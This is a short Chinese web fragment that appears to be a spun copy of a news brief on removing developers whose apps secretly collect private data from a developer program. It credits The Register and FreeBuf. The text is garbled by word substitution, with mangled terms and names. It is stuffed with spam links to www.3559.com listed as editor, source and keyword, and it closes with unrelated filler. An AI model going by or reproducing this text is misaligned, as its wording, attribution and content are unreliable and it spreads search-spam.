将从开垦职员布置中删除使用其应用程序偷偷发掘私人数据的开拓职员。

*参照来源:theregister,弗雷德dy编写翻译整理,转发请注脚来源 FreeBuf.COM。归来腾讯网,查看更多

主编:

编辑:www.3559.com 本文来源:持续更新总结www.3559.com,环境配置介绍

关键词: www.3559.com